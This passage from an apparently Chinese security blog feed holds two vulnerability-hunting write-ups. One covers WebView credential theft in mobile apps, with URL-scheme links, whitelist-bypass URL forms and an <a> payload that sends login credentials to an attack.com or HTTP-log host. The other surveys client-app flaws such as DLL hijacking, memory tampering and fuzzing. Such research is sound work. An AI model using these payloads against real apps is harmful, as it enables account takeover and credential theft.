\u5219\u53ef\u4ee5\u5b8c\u6210\u8df3\u8f6c\u8c03\u7528\u3002\u800c Android \u9ed8\u8ba4\u6d4f\u89c8\u5668\u4e0b\uff0c\u7528\u540c\u6837\u7684\u65b9\u5f0f\u5219\u4f1a\u63d0\u793a\u627e\u4e0d\u5230\u7f51\u9875\uff0c\u56e0\u6b64\u60f3\u8981\u8c03\u7528 URL Scheme \u5c31\u9700\u8981\u501f\u52a9 JavaScript\uff08location \u8df3\u8f6c\uff09\u6216 HTML\uff08a \u6807\u7b7e href \u70b9\u51fb\u6307\u5411\uff09\u7684\u65b9\u5f0f\uff0c\u5728 iOS \u4e0a\u4e5f\u53ef\u4ee5\u7528\u8fd9\u79cd\u65b9\u5f0f\u3002<\/p>\n\n<pre><code class=\"language-html\">&lt;a href=\"xapp:\/\/page?url=https:\/\/gh0st.cn\"&gt;Click&lt;\/a&gt;\n<\/code><\/pre>\n\n<p><img src=\"\/images\/2025-12-26\/1.jpg\" alt=\"\" \/><\/p>\n\n<h2 id=\"\u5b9e\u6218\u6848\u4f8b\">\u5b9e\u6218\u6848\u4f8b<\/h2>\n\n<p>\u57fa\u4e8e\u4ee5\u4e0a\u6240\u8ff0\u7684\u4e24\u79cd\u653b\u51fb\u5165\u53e3\uff0c\u6211\u53d1\u73b0\u4e86\u8bb8\u591a APP \u4e0a\u7684\u6f0f\u6d1e\uff0c\u53ef\u4ee5\u901a\u8fc7 WebView \u7ec4\u4ef6\u76f4\u63a5\u83b7\u53d6\u7528\u6237\u51ed\u8bc1\u3002<\/p>\n\n<h3 id=\"webview-\u8bbf\u95ee\">WebView \u8bbf\u95ee<\/h3>\n\n<p>\u8bbf\u95ee\u83b7\u53d6\u51ed\u8bc1\u662f WebView \u7ec4\u4ef6\u6f0f\u6d1e\u9762\u7684\u6700\u57fa\u672c\u6f0f\u6d1e\uff0c\u901a\u8fc7\u626b\u63cf\u4e8c\u7ef4\u7801\u6216 URL Scheme \u8df3\u8f6c\u8c03\u7528 WebView \u7ec4\u4ef6\u6253\u5f00\u6307\u5b9a\u7684 URL \u5730\u5740\uff0c\u63a5\u7740\u7531\u4e8e APP \u4e3a\u8bbe\u9650\u6216\u5b58\u5728\u7ed5\u8fc7\u7684\u60c5\u51b5\u4e0b\uff0cWebView \u5185\u8bbf\u95ee\u6307\u5b9a\u7684 URL \u5730\u5740\u65f6\u4f1a\u643a\u5e26\u51ed\u8bc1\u4fe1\u606f\u3002<\/p>\n\n<p><strong>\u4e3a\u4ec0\u4e48 WebView \u5185\u8bbf\u95ee\u53ef\u4ee5\u643a\u5e26\u51ed\u8bc1\uff1f<\/strong> \u56e0\u4e3a\u5f53\u524d APP \u7684\u8bbe\u8ba1\u67b6\u6784\u91c7\u7528 Native UI \u4e0e WebView \u76f8\u7ed3\u5408\u7684\u65b9\u5f0f\uff0c\u4ee5\u517c\u987e\u6027\u80fd\u4f53\u9a8c\u4e0e\u4e1a\u52a1\u7075\u6d3b\u6027\uff0c\u652f\u6301\u66f4\u4e30\u5bcc\u7684\u5e94\u7528\u573a\u666f\uff0c\u56e0\u6b64\u5728 APP \u4e0a\u8fdb\u884c\u767b\u5f55\u540e\uff0cAPP \u5728 WebView \u7684\u5e94\u7528\u573a\u666f\u4e0b\u4e5f\u4f1a\u643a\u5e26\u767b\u5f55\u51ed\u8bc1\u3002<\/p>\n\n<h4 id=\"\u4e8c\u7ef4\u7801\u626b\u63cf-1\">\u4e8c\u7ef4\u7801\u626b\u63cf<\/h4>\n\n<p>\u5173\u4e8e\u4e8c\u7ef4\u7801\u626b\u63cf\u7684\u65b9\u5f0f\u6bd4\u8f83\u7b80\u5355\u627e\u5230\u5165\u53e3\uff0c\u5982\u4e0a\u6587\u6240\u8bf4\u5728 APP \u90a3\u627e\u5230\u5bf9\u5e94\u529f\u80fd\u70b9\u5373\u53ef\u3002\u4ee5\u4e0b\u56fe\u6240\u793a\uff0c\u56fe\u4e2d\u6240\u5c55\u793a\u7684\u6848\u4f8b\u5c31\u662f\u6700\u7ecf\u5178\u7684\u4e8c\u7ef4\u7801\u626b\u63cf\u5165\u53e3\u8fdb\u5165 WebView \u7ec4\u4ef6\uff0c\u8bbf\u95ee\u65f6\u643a\u5e26\u4e86\u51ed\u8bc1\u5230\u8fbe\u6307\u5b9a URL \u5730\u5740\u3002\uff08\u53ef\u4ee5\u5c06 URL \u5730\u5740\u8bbe\u4e3a BurpSuite Collaborator \u7684\u5730\u5740\u6216\u7c7b\u4f3c\u6709 HTTP Log \u8bb0\u5f55\u7684\u5730\u5740\uff09<\/p>\n\n<p>\u5982\u56fe\u6240\u793a\u6848\u4f8b\u5b9e\u9645\u4e0a\u6709\u4e2a\u7ec6\u8282\uff0c\u5982\u4e8c\u7ef4\u7801\u5185\u5bb9\u5904\u6253\u7801\u7684\u90e8\u5206\u5373\u4e3a\u767d\u540d\u5355\u57df\u540d\uff0c\u53ef\u4ee5\u901a\u8fc7\u6293\u5305\u6216\u77e5\u9053 APP \u5f52\u5c5e\u7684\u57df\u540d\u65b9\u5f0f\u83b7\u53d6\u8be5\u90e8\u5206\u3002\u5f88\u591a APP \u4f7f\u7528 WebView \u7ec4\u4ef6\u8fdb\u884c\u8bbf\u95ee\u65f6\uff0c\u4f1a\u5224\u65ad\u5f53\u524d\u8bbf\u95ee\u7684\u9875\u9762 URL \u5730\u5740\u4e2d\u7684\u57df\u540d\u90e8\u5206\uff0c\u6709\u4e9b APP \u5728\u6b64\u5904\u5224\u65ad\u65f6\u6bd4\u8f83\u5bbd\u677e\uff0c\u4f8b\u5982\u5224\u65ad\u57df\u540d\u662f\u5426\u5305\u542b\u67d0\u57df\u540d\u3002\u56e0\u6b64\u53ef\u4ee5\u901a\u8fc7\u4e00\u4e9b\u683c\u5f0f\u5bf9\u6b64\u8fdb\u884c\u7ed5\u8fc7\uff0c\u5982\uff1a<code>http:\/\/\u767d\u540d\u5355\u57df\u540d.HTTPLog.com<\/code>\u3001<code>http:\/\/\u767d\u540d\u5355\u57df\u540d@HTTPLog.com<\/code>\u3002<\/p>\n\n<p><img src=\"\/images\/2025-12-26\/2.jpg\" alt=\"\" \/><\/p>\n\n<h4 id=\"url-scheme-\u8df3\u8f6c-1\">URL Scheme \u8df3\u8f6c<\/h4>\n\n<p>URL Scheme \u6309\u5e38\u89c4\u903b\u8f91\u9700\u8981\u901a\u8fc7\u5de5\u5177\u67e5\u770b APP \u6240\u58f0\u660e\u7684\u4fe1\u606f\uff0cAPK \u683c\u5f0f\u5c31\u662f\u6587\u4ef6\u5185\u7684 <code>AndroidManifest.xml<\/code> \u6587\u4ef6\uff0cIPA \u683c\u5f0f\u5c31\u662f\u6587\u4ef6\u5185\u7684 <code>Info.plist<\/code> \u6587\u4ef6\u3002\u4f46\u662f\u672c\u6587\u4e0d\u505a\u504f\u9006\u5411\/\u767d\u76d2\u4fa7\u7684\u5206\u4eab\uff0c\u4ece\u9ed1\u76d2\u89d2\u5ea6\u51fa\u53d1\u83b7\u53d6 URL Scheme\u3002<\/p>\n\n<p><strong>\u4e3a\u4ec0\u4e48\u53ef\u4ee5\u4ece\u9ed1\u76d2\u51fa\u53d1\u83b7\u53d6 URL Scheme\uff1f<\/strong> \u8fd8\u662f\u56de\u5230 Native UI \u4e0e WebView\uff0c\u56e0\u4e3a WebView \u4f1a\u53bb\u8bbf\u95ee\u4e00\u4e9b\u4e1a\u52a1\/\u529f\u80fd\u9875\u9762\uff0c\u56e0\u6b64\u5f00\u53d1\u4e5f\u4f1a\u5728 WebView \u7f51\u7ad9\u4e2d\u53bb\u5199\u5165 APP \u7684 URL Scheme \u4fe1\u606f\uff0c\u4ece\u800c\u8c03\u8d77 APP \u5185\u7684\u4e00\u4e9b Native \u529f\u80fd\uff0c\u56e0\u6b64\u53ea\u8981\u53ef\u4ee5\u8fdb\u884c\u6293\u5305\u5373\u53ef\u901a\u8fc7\u6b63\u5219\u5339\u914d\u7684\u65b9\u5f0f\u83b7\u53d6\u5230\u5b8c\u6574\u7684 URL Scheme \u4fe1\u606f\u3002<\/p>\n\n<p>\u5982\u4e0b\u56fe\u6240\u793a\u6848\u4f8b\u903b\u8f91\u4e3a\uff1a<\/p>\n\n<ol>\n  <li>\u901a\u8fc7\u7b14\u8005\u6240\u5f00\u53d1\u7684 HaE \u5de5\u5177\u914d\u5408 BurpSuite \u8fdb\u884c\u6293\u5305\uff0c\u89c4\u5219\u5c31\u4f1a\u83b7\u53d6\u5230\u6293\u5305\u8fc7\u7a0b\u4e2d\u6240\u51fa\u73b0\u7684 URL Scheme \u4fe1\u606f\uff1a<code>xxx:\/\/clause\/WebView?url=<\/code>\u3002<\/li>\n  <li>\u5f97\u5230\u8be5\u4fe1\u606f\u4e4b\u540e\uff0c\u5c06\u5176\u4e2d\u7684 url \u53c2\u6570\u8bbe\u4e3a HTTPLog \u5730\u5740\uff1a<code>xxx:\/\/clause\/WebView?url=http:\/\/HTTPLog.com<\/code>\u3002<\/li>\n  <li>\u5728 iOS \u73af\u5883\u4e0b\u5373\u53ef\u901a\u8fc7\u6d4f\u89c8\u5668\u590d\u5236\u6784\u5efa\u597d\u7684\u5730\u5740\u76f4\u63a5\u6253\u5f00\u7136\u540e\u8df3\u8f6c\u5230 APP \u5185\u7684 WebView \u8bbf\u95ee\u754c\u9762\u3002\u5728 Android \u73af\u5883\u4e0b\uff0c\u5219\u53ef\u4ee5\u6309\u4e0a\u6587\u4e2d\u63d0\u5230\u7684 HTML \u4ee3\u7801\u65b9\u5f0f\u8fdb\u884c\u3002<\/li>\n  <li>\u6700\u540e\u5728 HTTPLog \u670d\u52a1\u4e2d\u5373\u53ef\u67e5\u770b\u662f\u5426\u83b7\u53d6\u5230\u4e86\u51ed\u8bc1\u4fe1\u606f\uff0c\u5982\u679c\u6ca1\u6709\u4e5f\u53ef\u4ee5\u5c1d\u8bd5\u7ed5\u8fc7\uff0c\u4e0e\u4e8c\u7ef4\u7801\u626b\u63cf\u5904\u7684\u7ed5\u8fc7\u903b\u8f91\u662f\u4e00\u6837\u7684\u3002<\/li>\n<\/ol>\n\n<p><img src=\"\/images\/2025-12-26\/3.jpg\" alt=\"\" \/><\/p>\n\n<h3 id=\"jsbridge-\u83b7\u53d6\">JSBridge \u83b7\u53d6<\/h3>\n\n<h4 id=\"\u903b\u8f91\u4e0e\u53d1\u73b0\">\u903b\u8f91\u4e0e\u53d1\u73b0<\/h4>\n\n<p>JSBridge \u662f\u4e00\u79cd\u5728 App \u4e2d\u5b9e\u73b0 JavaScript \u4e0e Native \u4ee3\u7801\u901a\u4fe1\u7684\u6280\u672f\u65b9\u5f0f\uff0c\u53ef\u4ee5\u5c06 Web \u9875\u9762\u4e2d\u7684 JavaScript \u8c03\u7528\u6620\u5c04\u5230\u539f\u751f\u529f\u80fd\u4e2d\u3002\u5f88\u591a APP \u5728\u4f7f\u7528 JSBridge \u6620\u5c04 JavaScript \u4e0e Native \u65b9\u6cd5\u65f6\uff0c\u672a\u5bf9\u8c03\u7528\u6765\u6e90\u7684\u57df\uff08Origin\uff09\u8fdb\u884c\u6821\u9a8c\u6216\u767d\u540d\u5355\u9650\u5236\uff0c\u5bfc\u81f4\u4efb\u610f\u7f51\u9875\u6216\u7b2c\u4e09\u65b9\u811a\u672c\u5747\u53ef\u901a\u8fc7 JavaScript \u76f4\u63a5\u8c03\u7528\u6ce8\u518c\u7684 Native \u63a5\u53e3\u3002<\/p>\n\n<p>\u8fd9\u4e9b\u88ab\u6ce8\u518c\u7684\u63a5\u53e3\uff0c\u53ef\u4ee5\u662f\u5168\u5c40\u53d8\u91cf\u3001\u65b9\u6cd5\u3001\u5bf9\u8c61\u7b49\u7c7b\u578b\u3002\u5728 JavaScript \u4e2d\u5168\u5c40\u5b9e\u9645\u4e0a\u5c31\u662f\u7a97\u53e3\u5bf9\u8c61 Window\u3002\u4e5f\u5c31\u610f\u5473\u7740\u8fd9\u4e9b\u63a5\u53e3\u90fd\u4f1a\u88ab\u6ce8\u518c\u5230 Window \u4e0b\u9762\u3002\u56e0\u6b64\uff0c\u53ea\u8981\u8fdb\u5165\u5230 WebView \u7ec4\u4ef6\u5185\u5c31\u53ef\u4ee5\u901a\u8fc7\u904d\u5386 Window \u5168\u5c40\u5bf9\u8c61\u7684\u65b9\u5f0f\u6765\u627e\u5230\u88ab APP \u6240\u6ce8\u518c\u7684\u63a5\u53e3\u3002<\/p>\n\n<p>\u5982\u4e0b\u4ee3\u7801\u6240\u793a\u5c31\u662f\u4e00\u4e2a\u7b80\u6613\u7684 Window \u5168\u5c40\u5bf9\u8c61\u904d\u5386\u4ee3\u7801\u3002\u5b83\u7684\u7f3a\u70b9\u5f88\u660e\u663e\uff0c\u5982\u56fe\u6240\u793a\u4f1a\u5c06\u6d4f\u89c8\u5668\/\u7ec4\u4ef6\u81ea\u5e26\u7684\u4e00\u4e9b\u65b9\u6cd5\u904d\u5386\u51fa\u6765\uff0c\u56e0\u6b64\u5c31\u9700\u8981\u52a0\u5165\u8f93\u51fa\u8fc7\u6ee4\u529f\u80fd\uff0c\u4ece\u800c\u5e2e\u52a9\u6211\u4eec\u66f4\u65b9\u4fbf\u7684\u8fdb\u884c APP \u6ce8\u518c\u63a5\u53e3\u7684\u5bfb\u627e\u3002<\/p>\n\n<pre><code class=\"language-html\">&lt;body&gt;\n&lt;\/body&gt;\n&lt;script&gt;\n    Object.keys(window).forEach(key =&gt; { document.body.innerHTML += `&lt;pre&gt;${key}:${window[key]}&lt;\/pre&gt;`; });\n&lt;\/script&gt;\n<\/code><\/pre>\n\n<h4 id=\"\u51ed\u8bc1\u83b7\u53d6\">\u51ed\u8bc1\u83b7\u53d6<\/h4>\n\n<p>\u4f9d\u65e7\u4f7f\u7528 HaE \u7684\u89c4\u5219\u901a\u8fc7\u6293\u5305\u7684\u65b9\u5f0f\u6765\u83b7\u53d6\u5230 WebView \u7684 URL Scheme \u4fe1\u606f\uff1a<code>xxx:\/\/promotion\/web<\/code>\uff0c\u6709\u4e9b URL Scheme \u4fe1\u606f\u9700\u8981\u5206\u6790\u4e1a\u52a1 JavaScript \u6587\u4ef6\u4e2d\u7684\u903b\u8f91\uff0c\u5982\u56fe\u6240\u793a\u5728\u57fa\u7840\u7684 URL \u4fe1\u606f\u4e0a\u8fd8\u6709\u4e00\u4e2a\u53c2\u6570 <code>url<\/code>\uff1a<code>xxx:\/\/promotion\/web?url=<\/code>\u3002<\/p>\n\n<p><img src=\"\/images\/2025-12-26\/4.png\" alt=\"\" \/><\/p>\n\n<p>\u5982\u4e0b\u56fe\u6240\u793a\u6848\u4f8b\u903b\u8f91\u4e3a\uff1a<\/p>\n\n<ol>\n  <li>\u7f16\u5199 A \u6807\u7b7e\u8df3\u8f6c\u9875\u9762\uff0c\u7528\u4e8e\u6307\u5b9a WebView \u7ec4\u4ef6\u8df3\u8f6c\u9875\u9762\uff1a<code>&lt;a href=\"xxx:\/\/promotion\/web?url=http:\/\/\u53ef\u4fe1\u57df\u540d.attack.com\/WebView\/0.html\"&gt;Click Me&lt;\/a&gt;<\/code>\u3002<\/li>\n  <li>\u6253\u5f00\u8df3\u8f6c\u9875\u9762\u70b9\u51fb A \u6807\u7b7e\uff0c\u8c03\u7528\u8d77\u76ee\u6807 APP \u7684 WebView \u7ec4\u4ef6\u8bbf\u95ee\u81ea\u52a8\u5316\u904d\u5386\u811a\u672c\u9875\u9762\uff0c\u5206\u6790\u53d1\u73b0 <code>czbInfo.getAppInfo<\/code> \u65b9\u6cd5\u53ef\u4ee5\u83b7\u53d6\u51ed\u8bc1\u3002<\/li>\n  <li>\u6784\u5efa JavaScript \u5916\u5e26\u4ee3\u7801\u7528\u4e8e\u9a8c\u8bc1\u51ed\u8bc1\u53ef\u4ee5\u7ecf\u8fc7\u7f51\u7edc\u8fdb\u884c\u8fdc\u7a0b\u83b7\u53d6\u3002<\/li>\n<\/ol>\n\n<p><img src=\"\/images\/2025-12-26\/5.png\" alt=\"\" \/><\/p>\n\n<h2 id=\"\u603b\u7ed3\u4e0e\u601d\u8003\">\u603b\u7ed3\u4e0e\u601d\u8003<\/h2>\n\n<p>\u672c\u6587\u4ece\u9ed1\u76d2\u6d4b\u8bd5\u7684\u89c6\u89d2\uff0c\u68b3\u7406\u4e86\u9488\u5bf9\u79fb\u52a8\u7aef WebView \u7ec4\u4ef6\u7684\u6f0f\u6d1e\u6316\u6398\u8def\u5f84\u3002\u4f46\u662f WebView \u7ec4\u4ef6\u4e0d\u4ec5\u4ec5\u662f\u79fb\u52a8\u7aef\u7684\u7279\u6709\u4ea7\u7269\uff0c\u968f\u7740\u7c7b CEF \uff08Chromium\u5d4c\u5165\u5f0f\u6846\u67b6\uff09\/ \u7c7b Electron \u6846\u67b6\u7684\u51fa\u73b0\uff0cPC\u5ba2\u6237\u7aef\u4e5f\u540c\u6837\u9762\u4e34\u7740 WebView \u7ec4\u4ef6\u653b\u51fb\u98ce\u9669\u3002<\/p>\n\n<p>\u629b\u51fa\u4e24\u4e2a\u601d\u8003\uff1a\u9664\u4e86\u83b7\u53d6\u51ed\u8bc1\u5916\u662f\u5426\u5b58\u5728\u5176\u4ed6\u66f4\u9ad8\u7ef4\u5ea6\u7684\u5229\u7528\u9762\uff1f\u9664\u4e86APP\u81ea\u8eab\u6821\u9a8c\u7f3a\u9677\u5916\u662f\u5426\u5b58\u5728\u7cfb\u7edf\u5c42\u7684\u6821\u9a8c\u4e0d\u4e25\u683c\u95ee\u9898\uff1f<\/p>\n","pubDate":"2025-12-26T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2025-12-26\/1","guid":"https:\/\/gh0st.cn\/archives\/2025-12-26\/1"},{"title":"\u88ab\u5ffd\u89c6\u7684\u6697\u9762\uff1a\u5ba2\u6237\u7aef\u5e94\u7528\u6f0f\u6d1e\u6316\u6398\u4e4b\u65c5","description":"<h1 id=\"\u88ab\u5ffd\u89c6\u7684\u6697\u9762\u5ba2\u6237\u7aef\u5e94\u7528\u6f0f\u6d1e\u6316\u6398\u4e4b\u65c5\">\u88ab\u5ffd\u89c6\u7684\u6697\u9762\uff1a\u5ba2\u6237\u7aef\u5e94\u7528\u6f0f\u6d1e\u6316\u6398\u4e4b\u65c5<\/h1>\n\n<h2 id=\"\u524d\u8a00\">\u524d\u8a00<\/h2>\n\n<p>\u57282023\u5e7412\u670815\u65e5\uff0c\u6211\u6709\u5e78\u53c2\u52a0\u4e86\u7531\u201c\u5b57\u8282\u8df3\u52a8\u5b89\u5168\u4e2d\u5fc3\u201d\u4e3e\u529e\u7684\u201c\u5b89\u5168\u8303\u513f\u201d\u6c99\u9f99\u6d3b\u52a8\u3002\u4f5c\u4e3a\u201c\u4e2d\u5b5a\u4fe1\u606f\u5143\u4ea8\u5b9e\u9a8c\u5ba4\u201d\u7684\u4e00\u5458\uff0c\u6211\u88ab\u9080\u8bf7\u5206\u4eab\u540d\u4e3a\u201c\u88ab\u5ffd\u89c6\u7684\u6697\u9762\uff1a\u5ba2\u6237\u7aef\u5e94\u7528\u6f0f\u6d1e\u6316\u6398\u4e4b\u65c5\u201d\u7684\u6280\u672f\u8bae\u9898\u3002<\/p>\n\n<p>\u5ba2\u6237\u7aef\u5e94\u7528\u6f0f\u6d1e\u662f\u8bb8\u591a\u4eba\u5728\u8fdb\u884c\u6f0f\u6d1e\u6316\u6398\u548c\u5b89\u5168\u6d4b\u8bd5\u65f6\u5bb9\u6613\u5ffd\u89c6\u7684\u9886\u57df\u3002\u968f\u7740\u6280\u672f\u7684\u66f4\u8fed\u548c\u653b\u9632\u624b\u6bb5\u7684\u5347\u7ea7\uff0c\u5ba2\u6237\u7aef\u5e94\u7528\u6f0f\u6d1e\u4e5f\u9010\u6e10\u51fa\u73b0\u5728\u5927\u4f17\u89c6\u91ce\u4e2d\uff08APT\u653b\u51fb\u3001\u653b\u9632\u8d5b\u4e8b\u7b49\u7b49\uff09\uff0c\u5728\u672c\u6b21\u8bae\u9898\u4e2d\uff0c\u6211\u4eec\u5c06\u91cd\u70b9\u5173\u6ce8PC\u4fa7\u7684\u5ba2\u6237\u7aef\u5e94\u7528\u7a0b\u5e8f\uff0c\u5982\u5373\u65f6\u901a\u8baf\u3001\u8fdc\u7a0b\u670d\u52a1\u3001\u89c6\u9891\u8f6f\u4ef6\u7b49\u5e94\u7528\uff0c\u63a2\u7d22\u5176\u4e2d\u5b58\u5728\u7684\u6f0f\u6d1e\u548c\u6f5c\u5728\u7684\u5b89\u5168\u98ce\u9669\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/17026451662626.jpg\" alt=\"\" \/><\/p>\n\n<h2 id=\"\u6f0f\u6d1e\u6848\u4f8b\">\u6f0f\u6d1e\u6848\u4f8b<\/h2>\n\n<p>\u6f0f\u6d1e\u6848\u4f8b\u7684\u5206\u6790\u4e3b\u8981\u5206\u4e3a\u4e24\u7c7b\uff0c\u4e00\u662f\u5e38\u89c4\u98ce\u9669\u7684\u4ecb\u7ecd\u548c\u4e86\u89e3\uff0c\u4e8c\u662fRCE\u6f0f\u6d1e\u7684\u6316\u6398\u601d\u8def\u548c\u624b\u6cd5\u3002<\/p>\n\n<p><strong>\u6ce8\u610f\uff1a\u4ee5\u4e0b\u6f0f\u6d1e\u6848\u4f8b\u5747\u901a\u8fc7\u8131\u654f\u548c\u7ec6\u8282\u4e0a\u7684\u5904\u7406\u3002<\/strong><\/p>\n\n<h3 id=\"\u5e38\u89c4\u98ce\u9669\u7bc7\">\u5e38\u89c4\u98ce\u9669\u7bc7<\/h3>\n\n<p>\u5e38\u89c4\u98ce\u9669\u5728\u8fd9\u91cc\u6211\u5206\u4e3a\u8fd9\u51e0\u7c7b\uff1a\u4fe1\u606f\u6cc4\u9732\u3001\u767d\u5229\u7528\u3001\u903b\u8f91\u6821\u9a8c\u3001\u7f13\u51b2\u533a\u6ea2\u51fa\u3002<\/p>\n\n<h4 id=\"\u4fe1\u606f\u6cc4\u6f0f\">\u4fe1\u606f\u6cc4\u6f0f<\/h4>\n\n<p>\u5bf9\u4e8e\u5ba2\u6237\u7aef\u7684\u4fe1\u606f\u6cc4\u9732\uff0c\u6211\u4e00\u5f00\u59cb\u91c7\u7528\u7684\u65b9\u5f0f\u5c31\u662f\u57fa\u4e8eIDA Strings\u8fdb\u884c\u654f\u611f\u7684\u5b57\u7b26\u4e32\u4fe1\u606f\u5339\u914d\uff0c\u5c06HaE\u7684\u89c4\u5219\u8f6c\u4e3aYara\u89c4\u5219\u518d\u901a\u8fc7FindCrypt3\u63d2\u4ef6\u8fdb\u884c\u5339\u914d\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/17026453007764.jpg\" alt=\"\" \/><\/p>\n\n<p>\u5b9e\u9645\u6548\u679c\u6ca1\u6709\u90a3\u4e48\u597d\uff0c\u4ec5\u6709\u4e00\u4e9b\u6570\u636e\u5e93\u7684\u8fde\u63a5\u914d\u7f6e\u4fe1\u606f\u6cc4\u9732\uff0c\u5e76\u4e14\u7531\u4e8e\u662f\u57fa\u4e8eIDA\u7684\u4e5f\u6ca1\u6709\u90a3\u4e48\u597d\u7684\u8fdb\u884c\u81ea\u52a8\u6279\u91cf\u5316\u53d1\u73b0\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/17028731522870.jpg\" alt=\"\" \/><\/p>\n\n<p><img src=\"\/images\/2023-12-18\/17028731780708.jpg\" alt=\"\" \/><\/p>\n\n<p>\u6211\u4eec\u53ef\u4ee5\u501f\u52a9<code>Strings<\/code>\u5de5\u5177\u6765\u5feb\u901f\u7684\u83b7\u53d6\u53ef\u6267\u884c\u6587\u4ef6\u7684\u5b57\u7b26\u4e32\u5185\u5bb9\uff0c\u5e76\u901a\u8fc7\u6b63\u5219\u6216\u5176\u4ed6\u65b9\u5f0f\u8fdb\u884c\u5339\u914d\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/17028736490974.jpg\" alt=\"\" \/><\/p>\n\n<h4 id=\"\u767d\u5229\u7528\">\u767d\u5229\u7528<\/h4>\n\n<p>\u767d\u5229\u7528\u95ee\u9898\u5c31\u8001\u751f\u5e38\u8c08\u4e86\uff0c\u5728\u7ea2\u961f\u7684\u5de5\u4f5c\u4e2d\u4e5f\u7ecf\u5e38\u9047\u5230\uff0c\u5982DLL\u6587\u4ef6\u6ca1\u6709\u7ecf\u8fc7\u6bd4\u5bf9\u5bfc\u81f4\u7684\u52ab\u6301\u95ee\u9898\u3001\u5e26\u6709\u7b7e\u540d\u7684\u7a0b\u5e8f\u53ef\u4ee5\u901a\u8fc7\u53c2\u6570\u7684\u65b9\u5f0f\u6267\u884c\u4efb\u610f\u547d\u4ee4\u3002\u56e0\u6b64\u5728\u8fd9\u91cc\u5c31\u4e0d\u8fc7\u591a\u7684\u8d58\u8ff0\u4e86\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/17028738382826.jpg\" alt=\"\" \/><\/p>\n\n<p><img src=\"\/images\/2023-12-18\/17028738618693.jpg\" alt=\"\" \/><\/p>\n\n<h4 id=\"\u903b\u8f91\u6821\u9a8c\">\u903b\u8f91\u6821\u9a8c<\/h4>\n\n<p>\u5f88\u591a\u5ba2\u6237\u7aef\u7a0b\u5e8f\u5728\u5bf9\u7528\u6237\u4fe1\u606f\u8fdb\u884c\u83b7\u53d6\u7684\u65f6\u5019\u4f1a\u901a\u8fc7\u5185\u5b58\u7684\u65b9\u5f0f\uff0c\u6765\u83b7\u53d6\u7528\u6237\u7684\u7f16\u53f7\uff0c\u4ece\u800c\u57fa\u4e8e\u6b64\u8fdb\u4e00\u6b65\u6765\u83b7\u53d6\u7528\u6237\u7684\u4fe1\u606f\u3002\u7136\u800c\u8fd9\u79cd\u65b9\u5f0f\u5e76\u4e0d\u662f\u5b8c\u5168\u53ef\u4fe1\u7684\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7CE\u6765\u5bf9\u5185\u5b58\u8fdb\u884c\u4fee\u6539\uff0c\u4ece\u800c\u5bfc\u81f4\u8d8a\u6743\u6f0f\u6d1e\u7684\u4ea7\u751f\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/17028740063948.jpg\" alt=\"\" \/><\/p>\n\n<p>\u8fd9\u7c7b\u95ee\u9898\u5f88\u7ecf\u5178\uff0c\u5728\u4ee5\u5f80\u5c31\u6709\u8bb8\u591a\u6848\u4f8b\uff08wooyun-2015-0143395\u3001wooyun-2014-048606\uff09\uff0c\u4f46\u73b0\u5728\u4ecd\u7136\u53ef\u4ee5\u4ece\u4e00\u4e9b\u4e3b\u6d41\u7684\u5e94\u7528\u4e0a\u53d1\u73b0\u5230\u7c7b\u4f3c\u7684\u5b89\u5168\u95ee\u9898\u3002<\/p>\n\n<h4 id=\"\u7f13\u51b2\u533a\u6ea2\u51fa\">\u7f13\u51b2\u533a\u6ea2\u51fa<\/h4>\n\n<p>\u7f13\u51b2\u533a\u6ea2\u51fa\u95ee\u9898\u592a\u591a\u592a\u591a\u4e86\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u901a\u8fc7IDA\u63d2\u4ef6VulFi\u5b9a\u4f4d\u8106\u5f31\u70b9\uff0c\u5f88\u8f7b\u677e\u7684\u5728\u4e00\u4e9b\u5ba2\u6237\u7aef\u5e94\u7528\u4e0a\u627e\u5230\u5806\u3001\u6808\u6ea2\u51fa\u95ee\u9898\u3002\u9664\u6b64\u4e4b\u5916\uff0c\u4e5f\u53ef\u4ee5\u901a\u8fc7Boofuzz\u6765\u5bf9\u5ba2\u6237\u7aef\u5e94\u7528\u5f00\u542f\u7684\u672c\u5730\u7f51\u7edc\u670d\u52a1\u8fdb\u884cFuzz\uff0c\u4ece\u800c\u627e\u5230\u6ea2\u51fa\u95ee\u9898\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/17028745014755.jpg\" alt=\"\" \/><\/p>\n\n<p>\u9664\u4e86\u672c\u5730\u7f51\u7edc\u670d\u52a1\u4ee5\u5916\uff0c\u6700\u7ecf\u5178\u7684\u3001\u5229\u7528\u6700\u591a\u7684\u8fd8\u662f\u7279\u5b9a\u6587\u4ef6\u683c\u5f0f\u5904\u7406\u5ba2\u6237\u7aef\uff0c\u5982\u5e38\u7528\u7684Word\u3001Excel\u3002\u6211\u5728\u5b9e\u9645\u6316\u6398\u7684\u8fc7\u7a0b\u4e2d\u627e\u5230\u4e86\u4e00\u4e9b\u56fe\u7247\u5904\u7406\u7684\u5ba2\u6237\u7aef\u7a0b\u5e8f\uff0c\u5b83\u7528\u4e8e\u5404\u79cd\u5404\u6837\u7684\u56fe\u7247\u5904\u7406\uff0c\u6211\u4eec\u53ef\u4ee5\u627e\u4e00\u4e9b\u6bd4\u8f83\u4e0d\u5e38\u89c1\u7684\u56fe\u7247\u683c\u5f0f\uff0c\u5e76\u4e14\u901a\u8fc7\u7f51\u76d8\u8d44\u6e90\u627e\u5230\u4e00\u4e9b\u6837\u672c\u6587\u4ef6\uff0c\u4e22\u7ed9GPT\u6216IFFA\u6765\u5206\u6790\u6587\u4ef6\u683c\u5f0f\uff0c\u5e76\u8f93\u51faPits\u811a\u672c\uff0c\u901a\u8fc7Peach Fuzzer\u6765\u8fdb\u884cFuzz\u5de5\u4f5c\u3002<\/p>\n\n<p><img src=\"\/images\/2023-12-18\/17028747262213.jpg\" alt=\"\" \/><\/p>\n\n<h3 id=\"rce\u7bc7\">RCE\u7bc7<\/h3>\n\n<p>\u63a5\u7740\u6211\u4eec\u6765\u5230RCE\u7bc7\uff0c\u8bf7\u6ce8\u610f\u8fd9\u91cc\u7684RCE\u5e76\u4e0d\u662fPre 